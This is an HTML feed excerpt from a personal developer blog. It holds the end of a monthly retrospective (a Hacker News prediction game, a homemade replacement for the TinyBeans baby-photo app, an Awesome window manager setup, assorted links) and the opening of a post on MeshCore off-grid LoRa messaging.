&lt;p>The biggest problem with the game is that a story can take up to 24 hours to reach the front page. Waiting 24 hours for results sucks the fun out of the game.&lt;/p>
&lt;p>I tried changing the rules so that you&amp;rsquo;re predicting whether an article will reach the front page in its first 30 minutes, but 30 minutes still feels painfully slow.&lt;/p>
&lt;p>My new idea is to make a tentative call 10 minutes after a story has been submitted. Given the story&amp;rsquo;s age, upvotes, and comment count, I can calculate some rough probability of whether it has a chance of hitting the front page. So, if you predicted a story would reach the front page, but 10 minutes later, it still has no upvotes or comments, the game will tentatively tell you that you got it wrong, but you can still get the points back if the story makes a miraculous comeback in the next 24 hours.&lt;/p>
&lt;p>I thought about making a version of the game where you guess the results of past stories. That way, I could give instant feedback because the answer is already available, but that feels less fun, as other people have made similar games. Plus, for the HN diehards I&amp;rsquo;m hoping this game appeals to, past data ruins it because you kind of remember what was on the front page and what wasn&amp;rsquo;t.&lt;/p>
&lt;h2 id="building-a-free-tinybeans-alternative-out-of-spite">Building a free TinyBeans alternative out of spite&lt;/h2>
&lt;p>My wife and I had &lt;a href="https://mtlynch.io/retrospectives/2024/09/">our first child last year&lt;/a>, so we wanted a way to share baby photos with our family privately. Some of my friends had used apps like this, but they were all ad-supported. I hate the idea of companies slapping ads on photos of my child, so I looked for other options.&lt;/p>
&lt;p>When I came across TinyBeans, I thought I&amp;rsquo;d found a winner. They had a paid version that disabled ads, and privacy was the main feature they advertised: perfect!&lt;/p>
&lt;p>Then, I started using TinyBeans, and there were ads everywhere. &amp;ldquo;Buy our photo books!&amp;rdquo; &amp;ldquo;Give us more personal information!&amp;rdquo;&lt;/p>
&lt;p>I opened the app just now and had to dismiss three separate ads to see photos of my own child.&lt;/p>


&lt;figure class="gallery">
 &lt;div class="img-container">
 














 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 200px">



 &lt;a href="https://mtlynch.io/retrospectives/2025/12/tb1.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 200px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2025/12/tb1_hu_fca291bbb7043155.webp 300w, https://mtlynch.io/retrospectives/2025/12/tb1_hu_b9db3b23b35bb021.webp 600w, https://mtlynch.io/retrospectives/2025/12/tb1_hu_99ec1180001291d7.webp 800w, https://mtlynch.io/retrospectives/2025/12/tb1.webp 1080w'
 src="https://mtlynch.io/retrospectives/2025/12/tb1.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>















 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 200px">



 &lt;a href="https://mtlynch.io/retrospectives/2025/12/tb2.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 200px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2025/12/tb2_hu_836c774a576dc10c.webp 300w, https://mtlynch.io/retrospectives/2025/12/tb2_hu_8ec6e4320c6748d0.webp 600w, https://mtlynch.io/retrospectives/2025/12/tb2_hu_df89c1e2bbd28696.webp 800w, https://mtlynch.io/retrospectives/2025/12/tb2.webp 1080w'
 src="https://mtlynch.io/retrospectives/2025/12/tb2.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>















 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 200px">



 &lt;a href="https://mtlynch.io/retrospectives/2025/12/tb3.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 200px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2025/12/tb3_hu_c112d63a10aae340.webp 300w, https://mtlynch.io/retrospectives/2025/12/tb3_hu_277ee1fbed344f7c.webp 600w, https://mtlynch.io/retrospectives/2025/12/tb3_hu_8721258a4fbf1713.webp 800w, https://mtlynch.io/retrospectives/2025/12/tb3.webp 1080w'
 src="https://mtlynch.io/retrospectives/2025/12/tb3.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>




 &lt;/div>
 &lt;figcaption>&lt;p>TinyBeans shows me three huge ads when I open the app, even though I&amp;rsquo;m a paying customer and have dismissed these exact ads dozens of times before.&lt;/p>&lt;/figcaption>
&lt;/figure>

&lt;p>It also turns out that my family members receive even more ads than I see, including for third-party services. Here&amp;rsquo;s a recent one that encourages my family to invest in some scammy AI company:&lt;/p>













 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 300px">



 &lt;a href="https://mtlynch.io/retrospectives/2025/12/tb-ads.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 300px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2025/12/tb-ads_hu_f18203c405990de8.webp 300w, https://mtlynch.io/retrospectives/2025/12/tb-ads_hu_ae83eeeb4a8428f6.webp 600w, https://mtlynch.io/retrospectives/2025/12/tb-ads.webp 627w'
 src="https://mtlynch.io/retrospectives/2025/12/tb-ads.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>When TinyBeans sends emails to my family, they stick spammy ads like these in between photos of my son.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>The &amp;ldquo;no ads&amp;rdquo; promise of the paid tier is limited to me and my wife; TinyBeans bombards everyone else in my family with ads and upsells.&lt;/p>
&lt;p>I wanted to ditch TinyBeans early on, but I was too busy with new parent stuff to find a new app and migrate my whole family to it. So, each month, I begrudgingly give TinyBeans my $9.&lt;/p>
&lt;p>Then, Black Friday happened.&lt;/p>
&lt;p>TinyBeans sent me an email patting themselves on the back for not cluttering my inbox with Black Friday deals because all the deals would be in the app.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 350px">



 &lt;a href="https://mtlynch.io/retrospectives/2025/12/no-clutter.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 350px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2025/12/no-clutter_hu_f7ff8677abb07600.webp 300w, https://mtlynch.io/retrospectives/2025/12/no-clutter_hu_3ccc32e973bc8d9.webp 600w, https://mtlynch.io/retrospectives/2025/12/no-clutter_hu_2cbe9c179dff69a1.webp 800w, https://mtlynch.io/retrospectives/2025/12/no-clutter.webp 941w'
 src="https://mtlynch.io/retrospectives/2025/12/no-clutter.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>TinyBeans sends me a pointless email to boast about not cluttering my inbox with pointless emails.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Great, an email congratulating yourself about how little you&amp;rsquo;ll email me.&lt;/p>
&lt;p>But that wasn&amp;rsquo;t even true! TinyBeans proceeded to send me four more emails telling me to check my app for Black Friday deals:&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 700px">



 &lt;a href="https://mtlynch.io/retrospectives/2025/12/more-clutter.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 700px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2025/12/more-clutter_hu_db6a83cabacb6672.webp 300w, https://mtlynch.io/retrospectives/2025/12/more-clutter_hu_17e2570a603c1b7d.webp 600w, https://mtlynch.io/retrospectives/2025/12/more-clutter_hu_76580e10512c8e46.webp 800w, https://mtlynch.io/retrospectives/2025/12/more-clutter.webp 933w'
 src="https://mtlynch.io/retrospectives/2025/12/more-clutter.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>After promising not to bombard me with Black Friday promotions, TinyBeans emailed me five Black Friday promotions.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>That pushed me over the edge, and now I&amp;rsquo;m on a spite mission to create my own TinyBeans replacement and stop giving TinyBeans my money.&lt;/p>













 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 642px">



 &lt;a href="https://mtlynch.io/retrospectives/2025/12/reasons.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 642px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2025/12/reasons_hu_8868e2348efb121a.webp 300w, https://mtlynch.io/retrospectives/2025/12/reasons_hu_3aa0f718511e0e2e.webp 600w, https://mtlynch.io/retrospectives/2025/12/reasons.webp 640w'
 src="https://mtlynch.io/retrospectives/2025/12/reasons.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>“And what are your reasons for wanting to create an app to share baby photos?”&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>The only functionality I care about in TinyBeans is:&lt;/p>
&lt;ul>
&lt;li>My family can browse the baby photos and videos I&amp;rsquo;ve uploaded.&lt;/li>
&lt;li>My family members can subscribe to receive new photos and videos via email.&lt;/li>
&lt;li>My family members can comment or give emoji reactions to photos.&lt;/li>
&lt;/ul>
&lt;p>How hard could that be? 20 hours of dev work?&lt;/p>
&lt;p>The TinyBeans web and Android apps suck anyway, so I&amp;rsquo;ll be glad to move away from them. And because the experience is mostly email-based, I can replace TinyBeans with my own app without my family having to do any work as part of the migration.&lt;/p>
&lt;p>I&amp;rsquo;m not starting a company to compete with TinyBeans. I just want to make a web app that replaces TinyBeans&amp;rsquo; functionality.&lt;/p>
&lt;h2 id="switching-to-awesome-window-manager">Switching to Awesome Window Manager&lt;/h2>
&lt;p>One of my shameful secrets as a developer is that I&amp;rsquo;m bad at managing windows on my screen. I compensate by overusing my mouse, even though that&amp;rsquo;s slow and inefficient.&lt;/p>
&lt;p>Last year, I switched from Windows to Linux and &lt;a href="https://mtlynch.io/retrospectives/2024/12/#building-my-new-development-desktop">got a 49&amp;quot; ultrawide monitor&lt;/a>. While Windows was designed for mouse-happy users like me, Linux desktops are much more keyboard-focused, so my lack of keyboard discipline began catching up with me. I&amp;rsquo;d keep opening windows and never close them, so I&amp;rsquo;d end up with 10+ VS Code windows, 10+ Firefox windows, and 5 different instances of the calculator app for one-off calculations. They were all in one big pile in the middle of my desktop.&lt;/p>
&lt;p>At that point, it was obvious I was wasting tons of screen real estate and burning time locating my windows. I tried a few different window managers, but I kept running into issues. Like I couldn&amp;rsquo;t get lockscreens to work, or they&amp;rsquo;d fail to use my monitor&amp;rsquo;s full 5120x1440 resolution.&lt;/p>
&lt;p>The fastest person I&amp;rsquo;ve ever seen navigate their computer is &lt;a href="https://oky.moe">my friend okay zed&lt;/a>. I asked him for advice, and he explained &lt;a href="https://oky.moe/a-philosophy-for-window-management/">his approach to window management&lt;/a>. His strategy is to use many virtual desktops where windows are almost always full screen within the desktop. He uses xmonad, but he suggested I try Awesome Window Manager.&lt;/p>
&lt;p>I liked okay&amp;rsquo;s philosophy of single-purpose virtual desktops, so I created &lt;a href="rc.lua">an Awesome window manager configuration&lt;/a> around it. So, I have a dedicated desktop for my blog, a dedicated desktop for my book, one for email, etc. I try to limit myself to 1-2 windows per desktop, but sometimes I&amp;rsquo;ll pull up a third or fourth while looking something up.&lt;/p>
&lt;p>Here&amp;rsquo;s what my blog desktop looks like, which is pretty typical: one VS Code window for editing, one Firefox window for viewing the result, and sometimes a second Firefox window for looking stuff up:&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 5122px">



 &lt;a href="https://mtlynch.io/retrospectives/2025/12/awesome-wm.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 5122px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2025/12/awesome-wm_hu_bcdaf06859a775e6.webp 300w, https://mtlynch.io/retrospectives/2025/12/awesome-wm_hu_6d5be7b0b6afd5fc.webp 600w, https://mtlynch.io/retrospectives/2025/12/awesome-wm_hu_23c0ce30339d58ec.webp 800w, https://mtlynch.io/retrospectives/2025/12/awesome-wm_hu_5d4d5e7d813ece30.webp 1200w, https://mtlynch.io/retrospectives/2025/12/awesome-wm.webp 5120w'
 src="https://mtlynch.io/retrospectives/2025/12/awesome-wm.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>I didn&amp;rsquo;t like any of the default desktop modes, so I had to &lt;a href="singlerow_flex.lua">roll my own&lt;/a>. It gives each window 25% of my screen&amp;rsquo;s width, and if I open more than four, it squishes everything to fit. I can also manually expand or contract windows with Shift+Win+H and Shift+Win+L. Except sometimes I accidentally lock myself out because Win+L is my hotkey for locking the screen.&lt;/p>
&lt;p>Based on a few weeks with Awesome, here&amp;rsquo;s how I&amp;rsquo;m feeling:&lt;/p>
&lt;ul>
&lt;li>What I like
&lt;ul>
&lt;li>Encourages me to keep single-purpose desktops for better focus.&lt;/li>
&lt;li>Encourages me to navigate via keyboard hotkeys rather than mouse clicks.&lt;/li>
&lt;li>Doesn&amp;rsquo;t crash on suspend 2% of the time like Gnome did.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>What I dislike
&lt;ul>
&lt;li>Everything is implemented in and configured through Lua, a language I don&amp;rsquo;t know. I&amp;rsquo;m using LLMs to write all my configs.&lt;/li>
&lt;li>The configuration is fairly low-level, so you have to write your own logic for things like filling the viewport without overflowing it.&lt;/li>
&lt;li>I don&amp;rsquo;t like any of the default desktop modes, so I had to roll my own.&lt;/li>
&lt;li>The documentation is all text, which feels bizarre for software designed specifically around graphics.&lt;/li>
&lt;li>If you accidentally define conflicting hotkeys, Awesome doesn&amp;rsquo;t warn you.&lt;/li>
&lt;li>If I click a link outside of Firefox, sometimes it loads the link in a browser that isn&amp;rsquo;t on my current desktop. I&amp;rsquo;m guessing it loads it on whatever Firefox window I most recently touched.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>What I still need to figure out
&lt;ul>
&lt;li>How to implement &amp;ldquo;scratchpad&amp;rdquo; functionality. Like if I want to pull up my password manager as a floating window or summon the calculator for a quick calculation, then dismiss it.&lt;/li>
&lt;li>How to put more widgets into the status bar like network connectivity and resource usage.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h2 id="interesting-links">Interesting links&lt;/h2>
&lt;h3 id="caching-external-content-in-your-blog">Caching external content in your blog&lt;/h3>
&lt;p>I was &lt;a href="https://m.mtlynch.io/@michael/115538492543985760">talking to LGUG2Z&lt;/a> on Mastodon about how annoying it is to embed tweets on my blog. If the user deletes their tweet, I end up with dead content in my post. Even when it works, my readers have to load trackers from Twitter. I&amp;rsquo;ve been working around it by just screenshotting tweets, but that&amp;rsquo;s an ugly solution.&lt;/p>
&lt;p>I want to embed tweets in Hugo (the static site generator I use for this blog) with a shortcode like &lt;code>{&amp;lt;tweet id=&amp;quot;12345&amp;quot;&amp;gt;}&lt;/code>, and then Hugo could fetch the tweet data and store it under source control so that I don&amp;rsquo;t have an ongoing dependency on Twitter.&lt;/p>
&lt;p>LGUG2Z &lt;a href="https://lgug2z.com/articles/version-control-external-content-referenced-in-your-blog/">explored this idea and implemented support&lt;/a> for it on his Zola blog. He runs a script to pre-download data once from external sources (like tweets), and then he can embed the content in his blog without re-retrieving it at blog build time or reader visit time.&lt;/p>
&lt;p>I tried to adapt LGUG2Z&amp;rsquo;s solution for Hugo, but it &lt;a href="https://github.com/mtlynch/mtlynch.io/compare/tweet-embed?expand=1">got too complicated&lt;/a>. I wrote &lt;a href="https://github.com/mtlynch/mtlynch.io/compare/tweet-embed?expand=1#diff-900db5d815f28c61d4dd3187315a92f57266a567a028172d8ce9f75bcd8a0a6a">a standalone script&lt;/a> that downloads &lt;a href="https://github.com/mtlynch/mtlynch.io/compare/tweet-embed?expand=1#diff-ec93853072d628faa14809a2064c79884eec296dca5718c2df5da600c8315d28">data from Twitter&lt;/a> and then I&amp;rsquo;d render it in &lt;a href="https://github.com/mtlynch/mtlynch.io/compare/tweet-embed?expand=1#diff-a1b03c6c84ab4fb445d03326b8ba14611b392fa0bd2074f7a41bd7905e244447">a tweet-like UI&lt;/a>. Regular text tweets worked okay, but once I got to tweets with embedded media or retweets, it felt like I was building too much on shaky foundation.&lt;/p>
&lt;h3 id="michael-stapelbergs-experience-with-immich">Michael Stapelberg&amp;rsquo;s experience with Immich&lt;/h3>
&lt;p>I used to store all of my photos on Google Photos. Despite my privacy concerns, Google Photos was just so much better than anything else that I held my nose and just gave them all my photos. I&amp;rsquo;ve since become more privacy sensitive and distrustful of Google, so I stopped uploading new photos to Google Photos, but I haven&amp;rsquo;t found a replacement.&lt;/p>
&lt;p>I&amp;rsquo;ve heard good things about Immich and Ente, so I was glad to see this detailed writeup from Michael Stapelberg about his experience &lt;a href="https://michael.stapelberg.ch/posts/2025-11-29-self-hosting-photos-with-immich/">setting up an Immich server using NixOS&lt;/a>.&lt;/p>
&lt;h3 id="firefox-enhanced-tracking-protection">Firefox Enhanced Tracking Protection&lt;/h3>
&lt;p>Firefox recently improved their &lt;a href="https://blog.mozilla.org/en/firefox/fingerprinting-protections/">Enhanced Tracking Protection&lt;/a>, a feature I didn&amp;rsquo;t realize existed. I turned it on, and it blocks trackers that uBlock was allowing and hasn&amp;rsquo;t had any false positives.&lt;/p>
&lt;h3 id="rich-friend-poor-friend">&amp;ldquo;Rich Friend, Poor Friend&amp;rdquo;&lt;/h3>
&lt;p>I just discovered &lt;a href="https://www.jenn.site/rich-friend-poor-friend/">&amp;ldquo;Rich Friend, Poor Friend&amp;rdquo;&lt;/a> from 2022 and &lt;a href="https://www.jenn.site/contra-contra-rich-friend-poor-friend/">the follow up&lt;/a> from a few weeks ago. I definitely relate to hiring professionals instead of asking my friends for help (e.g., hiring movers instead of asking friends).&lt;/p>
&lt;p>I&amp;rsquo;m maybe in the worst part of the curve where I&amp;rsquo;m wealthy enough to not want to ask friends to help me move but not so wealthy that I have a separate guest house to make it easy to host them.&lt;/p>
&lt;h3 id="more-evidence-that-deel-hired-a-corporate-spy">More evidence that Deel hired a corporate spy&lt;/h3>
&lt;p>The Deel corporate espionage story is getting surprisingly little attention in my bubble.&lt;/p>
&lt;p>In March 2025, Rippling &lt;a href="https://www.rippling.com/blog/lawsuit-alleges-12-billion-unicorn-deel-cultivated-spy-orchestrated-long-running-trade-secret-theft-corporate-espionage-against-competitor">revealed&lt;/a> that they discovered one of their employees was actually a corporate spy working for their competitor, Deel. When they caught the spy, he ran into the bathroom and tried to flush his phone down the toilet.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/retrospectives/2025/12/deel-spy.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2025/12/deel-spy_hu_9a11ebf4e336d27f.webp 300w, https://mtlynch.io/retrospectives/2025/12/deel-spy_hu_85a233524fa0f6fa.webp 600w, https://mtlynch.io/retrospectives/2025/12/deel-spy_hu_34d1480d48ef7544.webp 800w, https://mtlynch.io/retrospectives/2025/12/deel-spy.webp 920w'
 src="https://mtlynch.io/retrospectives/2025/12/deel-spy.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>Rippling posted &lt;a href="https://www.rippling.com/blog/new-banking-records-prove-deel-paid-thief-who-stole-trade-secrets-from-rippling">an update in November&lt;/a> that they found banking records showing that Deel had routed payments to the spy through the wife of Deel&amp;rsquo;s COO. The wife was, coincidentally, a compliance lead at Robinhood, another company known for its &lt;a href="https://www.scu.edu/ethics/focus-areas/business-ethics/resources/robinhood-reddit-and-gamestop-what-happened-and-what-should-happen-next/">scummy ethics&lt;/a>.&lt;/p>
&lt;p>As an unhappy former Deel customer, I&amp;rsquo;m happy to see them get their comeuppance.&lt;/p>
&lt;h2 id="wrap-up">Wrap up&lt;/h2>
&lt;h3 id="what-got-done">What got done?&lt;/h3>
&lt;ul>
&lt;li>Published &lt;a href="https://refactoringenglish.com/blog/crafting-interpreters-intro/">&amp;ldquo;What Makes the Intro to Crafting Interpreters so Good?&amp;rdquo;&lt;/a>&lt;/li>
&lt;li>Published &lt;a href="https://mtlynch.io/first-impressions-of-meshcore/">&amp;ldquo;My First Impressions of MeshCore Off-Grid Messaging&amp;rdquo;&lt;/a>.&lt;/li>
&lt;li>Published &lt;a href="https://mtlynch.io/notes/opnsense-clicks/">&amp;ldquo;Add a VLAN to OPNsense in Just 26 Clicks Across 6 Screens&amp;rdquo;&lt;/a>&lt;/li>
&lt;li>Created a tiny Zig utility called &lt;a href="https://codeberg.org/mtlynch/count-clicks">count-clicks&lt;/a> to count clicks and keystrokes on an x11 system.&lt;/li>
&lt;li>Got &lt;a href="https://awesomewm.org/">Awesome Window Manager&lt;/a> working.&lt;/li>
&lt;/ul>
&lt;h3 id="lessons-learned">Lessons learned&lt;/h3>
&lt;ul>
&lt;li>Quick feedback is important in creating a fun game.&lt;/li>
&lt;li>TinyBeans actually has a lot of ads, even on the paid version.&lt;/li>
&lt;li>The Awesome window manager is a better fit for my needs than Gnome.&lt;/li>
&lt;/ul>
&lt;h3 id="goals-for-next-month">Goals for next month&lt;/h3>
&lt;ul>
&lt;li>Publish a game that attracts people to the &lt;em>Refactoring English&lt;/em> website.&lt;/li>
&lt;li>Publish two chapters of &lt;em>Refactoring English&lt;/em>.&lt;/li>
&lt;li>Write a design doc for a just-for-fun family photo sharing app.&lt;/li>
&lt;/ul>
&lt;h3 id="requests-for-help">Requests for help&lt;/h3>
&lt;ul>
&lt;li>If you&amp;rsquo;re interested in beta testing the &amp;ldquo;Will it Hit the Front Page?&amp;rdquo; game, &lt;a href="https://mtlynch.io/about">reach out&lt;/a>.&lt;/li>
&lt;/ul></content:encoded></item><item><title>My First Impressions of MeshCore Off-Grid Messaging</title><link>https://mtlynch.io/first-impressions-of-meshcore/</link><pubDate>Tue, 02 Dec 2025 00:00:00 +0000</pubDate><guid>https://mtlynch.io/first-impressions-of-meshcore/</guid><description>&lt;p>When my wife saw me playing with my new encrypted radio, she asked what it was for.&lt;/p>
&lt;p>&amp;ldquo;Imagine,&amp;rdquo; I said, &amp;ldquo;if I could type a message on my phone and send it to you, and the message would appear on your phone. Instantly!&amp;rdquo;&lt;/p>
&lt;p>She wasn&amp;rsquo;t impressed.&lt;/p>
&lt;p>&amp;ldquo;It also works if phone lines are down due to a power outage&amp;hellip; or societal collapse.&amp;rdquo; Still nothing.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 550px">



 &lt;a href="https://mtlynch.io/first-impressions-of-meshcore/off-grid-messaging.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 550px, 98vw"
 srcset='https://mtlynch.io/first-impressions-of-meshcore/off-grid-messaging_hu_a77f25cde4baa729.webp 300w, https://mtlynch.io/first-impressions-of-meshcore/off-grid-messaging_hu_db4514b65be0b4db.webp 600w, https://mtlynch.io/first-impressions-of-meshcore/off-grid-messaging_hu_9c4f8c89fe4425a7.webp 800w, https://mtlynch.io/first-impressions-of-meshcore/off-grid-messaging.webp 1160w'
 src="https://mtlynch.io/first-impressions-of-meshcore/off-grid-messaging.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>&amp;ldquo;If we&amp;rsquo;re not within radio range of each other, we can route our messages through a mesh network of our neighbors&amp;rsquo; radios. But don&amp;rsquo;t worry! The radios encrypt our messages end-to-end, so nobody else can read what we&amp;rsquo;re saying.&amp;rdquo; By this point, she&amp;rsquo;d left the room.&lt;/p></description><content:encoded>&lt;p>When my wife saw me playing with my new encrypted radio, she asked what it was for.&lt;/p>
&lt;p>&amp;ldquo;Imagine,&amp;rdquo; I said, &amp;ldquo;if I could type a message on my phone and send it to you, and the message would appear on your phone. Instantly!&amp;rdquo;&lt;/p>
&lt;p>She wasn&amp;rsquo;t impressed.&lt;/p>
&lt;p>&amp;ldquo;It also works if phone lines are down due to a power outage&amp;hellip; or societal collapse.&amp;rdquo; Still nothing.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 550px">



 &lt;a href="https://mtlynch.io/first-impressions-of-meshcore/off-grid-messaging.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 550px, 98vw"
 srcset='https://mtlynch.io/first-impressions-of-meshcore/off-grid-messaging_hu_a77f25cde4baa729.webp 300w, https://mtlynch.io/first-impressions-of-meshcore/off-grid-messaging_hu_db4514b65be0b4db.webp 600w, https://mtlynch.io/first-impressions-of-meshcore/off-grid-messaging_hu_9c4f8c89fe4425a7.webp 800w, https://mtlynch.io/first-impressions-of-meshcore/off-grid-messaging.webp 1160w'
 src="https://mtlynch.io/first-impressions-of-meshcore/off-grid-messaging.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>&amp;ldquo;If we&amp;rsquo;re not within radio range of each other, we can route our messages through a mesh network of our neighbors&amp;rsquo; radios. But don&amp;rsquo;t worry! The radios encrypt our messages end-to-end, so nobody else can read what we&amp;rsquo;re saying.&amp;rdquo; By this point, she&amp;rsquo;d left the room.&lt;/p>
&lt;p>My wife has many wonderful qualities, but, if I&amp;rsquo;m being honest, &amp;ldquo;enthusiasm for encrypted off-grid messaging&amp;rdquo; has never been one of them.&lt;/p>
&lt;p>The technology I was pitching to my wife was, of course, MeshCore.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 350px">



 &lt;a href="https://mtlynch.io/first-impressions-of-meshcore/meshcore-logo-black.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 350px, 98vw"
 srcset='https://mtlynch.io/first-impressions-of-meshcore/meshcore-logo-black_hu_5a1a28eb93a0a0f8.webp 300w, https://mtlynch.io/first-impressions-of-meshcore/meshcore-logo-black_hu_f88b458ae9a92923.webp 600w, https://mtlynch.io/first-impressions-of-meshcore/meshcore-logo-black_hu_15195e90baf5bb2f.webp 800w, https://mtlynch.io/first-impressions-of-meshcore/meshcore-logo-black.webp 830w'
 src="https://mtlynch.io/first-impressions-of-meshcore/meshcore-logo-black.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;h2 id="tl-dr---what-did-i-think">tl; dr - What did I think?&lt;/h2>
&lt;p>If you&amp;rsquo;d like to skip to the end, check out &lt;a href="#summary">the summary&lt;/a>.&lt;/p>
&lt;h2 id="whats-meshcore">What&amp;rsquo;s MeshCore?&lt;/h2>
&lt;p>MeshCore is software that runs on inexpensive &lt;a href="https://en.wikipedia.org/wiki/LoRa">long-range (LoRa) radios&lt;/a>. LoRa radios transmit up to several miles depending on how clear the path is. Unlike ham radios, you don&amp;rsquo;t need a license to broadcast over LoRa frequencies in the US, so anyone can pick up a LoRa radio and start chatting.&lt;/p>
&lt;p>MeshCore is more than just sending messages over radio. The &amp;ldquo;mesh&amp;rdquo; in the name is because MeshCore users form a mesh network. If Alice wants to send a message to her friend Charlie, but Charlie&amp;rsquo;s out of range of her radio, she can route her message through Bob, another MeshCore user in her area, and Bob will forward the message to Charlie.&lt;/p>













 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 500px">



 &lt;a href="https://mtlynch.io/first-impressions-of-meshcore/mesh-network.webp">
 &lt;img
 
 sizes="(min-width: 768px) 500px, 98vw"
 srcset='https://mtlynch.io/first-impressions-of-meshcore/mesh-network_hu_1a1b5a4dd81122da.webp 300w, https://mtlynch.io/first-impressions-of-meshcore/mesh-network_hu_1c274968786380e1.webp 600w, https://mtlynch.io/first-impressions-of-meshcore/mesh-network.webp 776w'
 src="https://mtlynch.io/first-impressions-of-meshcore/mesh-network.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>If Alice is within radio range of Bob but not Charlie, she can tell Bob&amp;rsquo;s MeshCore radio to forward her message to Charlie.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h2 id="my-dream-for-off-grid-communication">My dream for off-grid communication&lt;/h2>
&lt;p>I&amp;rsquo;m not exactly a doomsday prepper, but I plan for realistic disaster scenarios like extended power outages, food shortages, and droughts.&lt;/p>
&lt;p>When I heard about MeshCore, I thought it would be neat to give some devices to friends nearby so we could communicate in an emergency. And if it turned out that we&amp;rsquo;re out of radio range of each other, maybe I could convince a few neighbors to get involved as well. We could form a messaging network that&amp;rsquo;s robust against power failures and phone outages.&lt;/p>
&lt;h2 id="why-not-meshtastic">Why not Meshtastic?&lt;/h2>
&lt;p>MeshCore is a newer implementation of an idea that was popularized by a technology called &lt;a href="https://meshtastic.org/">Meshtastic&lt;/a>.&lt;/p>
&lt;p>I first heard about Meshtastic from &lt;a href="https://tylercipriani.com/blog/2022/07/31/meshtastic-a-review/">Tyler Cipriani&amp;rsquo;s 2022 blog post&lt;/a>. I thought the idea sounded neat, but Tyler&amp;rsquo;s conclusion was that Meshtastic was too buggy and difficult for mainstream adoption at the time.&lt;/p>
&lt;p>I have no particular allegiance to MeshCore or Meshtastic, as I&amp;rsquo;ve never tried either. Some people I follow on Mastodon have been excited about MeshCore, so I thought I&amp;rsquo;d check it out. Most MeshCore-compatible devices are also compatible with Meshtastic, so I can easily experiment with one and later try the other.&lt;/p>
&lt;p>I only have a limited understanding of the differences between Meshtastic and MeshCore, but what I gather is that MeshCore&amp;rsquo;s key differentiator is preserving bandwidth. Apparently, Meshtastic hits scaling issues when many users are located close to each other. The Meshtastic protocol is chattier than MeshCore, so I&amp;rsquo;ve seen complaints that Meshtastic chatter floods the airwaves and interferes with message delivery. MeshCore attempts to solve that problem by minimizing network chatter.&lt;/p>
&lt;h2 id="im-not-a-radio-guy">I&amp;rsquo;m not a radio guy&lt;/h2>
&lt;p>I should say at this point that I&amp;rsquo;m not a radio guy.&lt;/p>
&lt;p>It seems like many people in the LoRa community are radio enthusiasts who have experience with ham radios or other types of radio broadcasting.&lt;/p>
&lt;p>I&amp;rsquo;m a tech-savvy software developer, but I know nothing about radio communication. If I have an incorrect mental model of radio transmission, that&amp;rsquo;s why.&lt;/p>
&lt;h2 id="heltec-v3-the-cheapest-introduction-to-meshcore">Heltec v3: The cheapest introduction to MeshCore&lt;/h2>
&lt;p>The MeshCore firmware runs on a couple dozen devices, but the official website recommends three devices in particular. The cheapest one is the Heltec v3. I bought two for $27/ea.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




